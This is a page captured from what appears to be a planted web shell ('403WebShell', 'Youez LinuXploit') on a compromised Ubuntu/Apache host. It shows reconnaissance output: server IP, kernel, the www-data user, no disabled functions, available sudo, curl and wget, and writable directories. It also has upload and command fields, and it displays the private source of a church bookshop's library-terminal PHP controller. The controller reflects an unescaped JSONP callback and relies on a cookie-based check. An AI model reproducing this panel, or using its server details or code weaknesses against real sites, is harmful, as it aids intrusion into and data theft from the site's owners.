Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/hopeinstoughton_books/_oldcore/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hopeinstoughton_books/_oldcore/controllers/terminal.php
<?php

class Terminal extends Controller {

	function __construct() {
		$this->terminal = $this->loadModel('terminal_model');
		$this->view = $this->loadView('terminal_view');
		$this->user = $this->loadModel('user_model');
		$this->user->RetrieveNewBooks();
	}

	public function index() { 
		global $auth, $VALIDATION, $config;
		if ($auth == $VALIDATION) {		// already authenicated
			$this->redirect('/terminal/select_client');
		}
		$body = $this->view->Render_Introduction();
		$this->DisplayPage('The Library Terminal', $body);
	}
	
	private function _authenticate() {
		global $auth, $VALIDATION, $config;
		if ($auth != $VALIDATION) {		// only if not logged in
			$this->redirect('/' . $config['error_controller'] . '/denied');
		}
	}

	// /admin/barcode.php?key=
	// also retrieves state information every minute, or when something changes
	public function watch_barcode_scanner() {
	// check if software is running
	// check if scanner is connected
		$body = $this->view->Render_Popup();		// popup does not use main template
		echo $body;
	}
	
	// we have received a barcode from the scanner -
	// store it in the database, signal main process that a barcode has arrived
	// http://books.hopeinstoughton.org/terminal/read_scanner?key=78067231886
	public function read_scanner() {
		$barcode = quote_Param_AsString('key');
		$body = $this->terminal->AcceptBarcode($barcode);
		echo $body;		// simple '1' or '0' returned
	}
	
	// wait up to 30s for a barcode to be received by "read_scanner()"
	public function barcode_feed() {
		session_write_close();
		$this->LoadPlugin('class.json');
		$info = $this->terminal->CheckForData();
		$callback = isset($_GET['callback']) ? $_GET['callback'] : '';
		$json = new Services_JSON();
		$data = $json->encode($info);

		if ($callback != '') {
			header('Content-type: application/json');
			echo "$callback($data);";
		} else {
			header('Content-type: text/plain');
			echo "{$data}\n";			// Send it back to the application
		}
	}
	
	// main page for library terminal
	public function select_client() {
		global $isPost;
		$this->_authenticate();
		$cash_sale = $this->user->GetCashSaleAccount();
		$this->LoadPlugin('class.webform');
		$webform = new webform('');
		$f = $webform->AddField_List('id', '&Member List', 1);
		$f->SetHeight(18);
		$f->SetWidth(480);
		$f->SetList($this->user->GenerateUserList());
		$errors = $webform->Database_Load();
		if (!$errors && $isPost) {
			$webform->Database_Save();
			$id = $webform->DATA['id'];
			$this->Redirect('/terminal/start_transaction/' . $id);		// move on to next step
		}

		$body = $this->view->TellUsWhoYouAre($webform, $cash_sale);
		$this->DisplayPage('Quick Checkout', $body);
	}

	// is the barcode genuine?
	public function validate($barcode = '') {
		global $VALIDATION;
		$barcode_model = $this->LoadModel('barcode_model');
		if ($barcode_model->VerifyLogin($barcode)) {
			setcookie('auth', $VALIDATION, 0, '/');
			$this->Redirect('/terminal/select_client');
		}
		$this->Redirect('/terminal/');	// try again
	}
	
	public function pricecheck($barcode) {
		$barcode_model = $this->LoadModel('barcode_model');
		$info = $barcode_model->GetBarcodeInformation($barcode);
		$body = $this->view->Render_Barcode_Information($info);
		echo $body;
	}
	
	public function start_transaction($client = 0, $fn = '') {
		$this->_authenticate();
		$client = intval($client);
		if (!$client) $client = $this->user->GetCashSaleAccount();
// create an empty invoice for the client, then redirect to add items
		$this->transaction_model = $this->LoadModel('transaction_model');
		$transid = $this->transaction_model->begin_transaction($client, $fn);
		$this->Redirect('/terminal/transaction/' . $transid);
	}
	
	// http://books.biblealive.us/terminal/transaction/267
	public function transaction($transid = 0) {
		$transid = intval($transid);
		if (!$transid) $this->Redirect('/terminal/select_client');
		$this->_loadTransaction($transid);
		$additional = $this->transaction_model->ReadTransaction($transid);
		$body = $this->view->ScanBooks($additional, $this->isCash, $transid);
		$this->DisplayPage('Scan Books', $body);
	}
	
	private function _loadTransaction($transid) {
		$this->_authenticate();
		$this->transaction_model = $this->LoadModel('transaction_model');
		$this->transaction_model->ReadHeader($transid);
		$additional = $this->transaction_model->ReadTransaction($transid);
		$member = $this->transaction_model->header['bh_member'];
		$this->user->ShowMemberDetails($member);
		$this->isCash = $this->user->GetCashSaleAccount() == $member;
	}
	
	// a barcode has been scanned - output some javascript that will add it to the transaction
	// THIS WILL FAIL TO WORK CORRECTLY if php notices or warnings are generated
	public function scanned() {
		$tid = quote_Param_AsNumber('tid');
		$barcode = quote_Param_AsString('bc');
		$this->_loadTransaction($tid);
		$body = $this->transaction_model->ProcessTransaction($tid, $barcode, $this->isCash);
		header('content-type: text/javascript');
		echo $body;
	}
	
	// a special barcode has been scanned, possibly when within a transaction
	public function special() {
		$tid = quote_Param_AsNumber('tid');		// within a transaction?
		$special = quote_Param_AsNumber('id');	// function of the barcode being scanned
		$transaction_model = $this->LoadModel('transaction_model');
		$pg = quote_Param_AsNumber('pg', 0);	// 1 = select client; 2 = transaction screen; 3 = payment page
		if ($pg == 1) {
			if ($special == BARCODE_RETURN) {
				$this->Redirect('/terminal/bookreturn/');	// 100
				return;
			} elseif ($special == BARCODE_STOCKTAKE) {		// 140
				$this->Redirect('/terminal/stocktake/');
				return;
			} elseif ($special == BARCODE_WRITEOFF) {		// 140
				$this->Redirect('/terminal/writeoff/');
				return;
			} elseif ($special == BARCODE_DONE) {		// 
				$this->Redirect('/terminal/');
				return;
			}
		} elseif ($pg == 2) {		// within a transaction, only accept CANCEL, PURCHASE and DONE
			switch($special) {
				case BARCODE_DONE:		// books have been entered, move on to next step - payment
					$this->Redirect('/terminal/payment/' . $tid);
					return;
				case BARCODE_CANCEL:	// cancel transaction
					$this->Redirect('/terminal/cancel_transaction');
					return;
				case BARCODE_PURCHASE:	// last title entered is to be purchased
					$transaction_model->PurchaseLastItem($tid);
					$this->Redirect('/terminal/transaction/' . $tid);
					return;
			}
			$this->Redirect('/terminal/transaction/' . $tid);		// ignore anything else
		}
		$bounce = isset($_GET['bounce']) ? $_GET['bounce'] : '';
		if ($bounce != '') $this->Redirect($bounce);
		echo "Special barcode not expected here\n";
// http://www.ean-search.org/perl/ean-search.pl?q=9780958240116
// http://www.ean-search.org/perl/ean-search.pl?q=097855074805
// http://www.ean-search.org/perl/ean-search.pl?q=9780976729020
	}

	public function payment($tid = 0) {
		global $PAYMET, $isPost;
		$this->LoadPlugin('class.webform');
// do we have anything to pay for?  if not, move on to finished
		$tid = intval($tid);
		$this->_loadTransaction($tid);
		$haspurchase = $this->transaction_model->ShowCart($this->transaction_model->header, $tid);
		if (!$haspurchase) $this->Redirect('/terminal/finished/' . $tid . '?update=1');		// nothing to pay for - move on to last step
// enter payment info; 
		$list = array();
		foreach($PAYMET as $key => $value) {
			$list[$key] = _cwfp_WithoutAccess($value);
		}
		if ($this->isCash) unset($list[4]);

		$webform = new webform('');
		$f = $webform->addField_List('pt', '&Payment Method', 1);
		$f->SetList($list);
		$f->OnChange = 'changepay(this)';
		$f = $webform->addField_DisplayOnly('TOTAL', 'Invoice Total');
		$f = $webform->addField_Text('amt', 'Amount &Tendered', 1);
		$f->OnBlur = 'updatechg()';
		$f->SetWidth(50);
		$f = $webform->addField_Text('donate', 'Donation', 0);
		$f->OnBlur = 'updatechg()';
		$f->SetWidth(50);
		$f = $webform->addField_Text('chg', 'Cha&nge', 0);
		$f->SetWidth(50);

		$error = $webform->database_load();
		if (!$error&& $isPost) {
			$webform->database_save();
			$this->transaction_model->SavePaymentDetails($tid, $webform->DATA);
			$this->Redirect('/terminal/finished/' . $tid . '?update=1');
		}
		$this->transaction_model->SetPaymentDefaults($tid);
		$body = $this->view->Payment($webform, $tid);
		$this->DisplayPage('Payment Details', $body);

	}

	public function finished($tid) {
		$tid = intval($tid);
		$this->_loadTransaction($tid);
		$update = quote_Param_AsNumber('update');
		$this->transaction_model->UpdateLoanDetails($tid, $update);		//	update data: check out books
		if ($update) {
			$this->Redirect('/terminal/finished/' . $tid);
		}
		$body = $this->view->Transaction_Finished($this->transaction_model->header, $this->transaction_model->loancount, 
											$this->transaction_model->purchasecount);
//  print out invoice; print out loan docket; 
//  display page: reprint, or Done/Spacebar
//  	if member barcode, go straight to begin_transaction
		$this->DisplayPage('Transaction Complete', $body);
	}
	
	public function cancel_transaction() {
		$body = $this->view->Cancelled();
		$this->DisplayPage('Transaction Canceled', $body);
	}
	
	public function print_receipt($tid = '') {
		$this->LoadPlugin('class.webform');
		$tid = intval($tid);
		$action = quote_Param_AsString('fn');		// 'a' print both, 'i' print invoice only, 'b' borrowed books only
		$this->_loadTransaction($tid);

		$printer = $this->loadModel('printer_model');
		$body = $printer->PrintTransaction($this->transaction_model, $action);
		echo $body;
		
	}
	
	// scan a book, update info; wait for another barcide
	public function stocktake() {
		global $isPost;
		$stocktake = $this->loadModel('stocktake_model');

		$this->LoadPlugin('class.webform');
		$webform = new webform('');
		$f = $webform->AddField_Hidden('barcode');
		$f = $webform->AddField_List('location', '&Location', 1);
		$f->SetList($stocktake->GenerateLocationList());
		$status = '';
		$errors = $webform->Database_Load();
		if ($isPost && !$errors) {
			$webform->Database_Save();
			$status = $stocktake->UpdateDatabase($webform->DATA);
		}
		$body = $this->view->StockTake($webform, $status);
		$this->DisplayPage('Stocktake', $body);
	}
	
	public function writeoff($barcode = '') {
		global $isPost;
		if ($barcode != '') {
			$data = $this->terminal->DoWriteoff($barcode);
		} else {
			$data = array();
		}
		$body = $this->view->Writeoff($data);
		$this->DisplayPage('Stock Writeoff', $body);
	}

	public function bookreturn($barcode = '') {
		if ($barcode != '') {
			$data = $this->terminal->DoReturnBook($barcode);
		} else {
			$data = array();
		}
		$body = $this->view->Bookreturn($data);
		$this->DisplayPage('Book Return', $body);
	
	}
	
	// A new item has been scanned -- add it to the database
	public function newitem($barcode = '') {
		global $VARIABLE;
		$this->LoadPlugin('class.webform');
		$tranid = quote_Param_AsNumber('tid');			// transaction ID -> if present, bounce back to this page when done
		$sp   = isset($_GET['sp']) ? intval($_GET['sp']) : 0;
		$periodical = isset($_GET['per']) ? intval($_GET['per']) : 0;

		if (!isset($_SESSION['per_mm'])) {
			$_SESSION['per_mm'] = date('n');
			$_SESSION['per_yy'] = date('Y');
		} elseif ($sp >= 201 && $sp <= 212) {		// scanned a month barcode
			$_SESSION['per_mm'] = $sp - 200;
		} elseif ($sp >= 2007 && $sp <= 2100) {		// scanned a Year barcode
			$_SESSION['per_yy'] = $sp;
		}
	
		$barcode_model = $this->LoadModel('barcode_model');
		$webform = $barcode_model->NewItem($barcode, $tranid, $sp, $periodical);
		if ($webform === NULL) {
			$this->Redirect('/terminal/bookreturn/');	// 100
			return;
		}
		
		$stats_model = $this->loadModel('statistics_model');
		$f = $webform->GetFieldByFieldName('ds_group');
		$f->SetList($stats_model->retrieveStockGroups());
		
		$title_model = $this->LoadModel('title_model');
		$f = $webform->GetFieldByFieldName('id');
		$f->SetList($title_model->CreateTitlelist());

		$name = $barcode_model->GetMonthName($_SESSION['per_mm']);
		$VARIABLE['default_right'] .= <<<BLOCK
<br><br><h4>&nbsp; Periodical &nbsp;</h4>
<span style="font-size:22pt;color:#334455">$name {$_SESSION['per_yy']}</span><br>

BLOCK;
		
		$body = $this->view->NewItem($webform, $tranid);
		$this->DisplayPage('New Item - ' . $barcode, $body, 1, '', 0);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit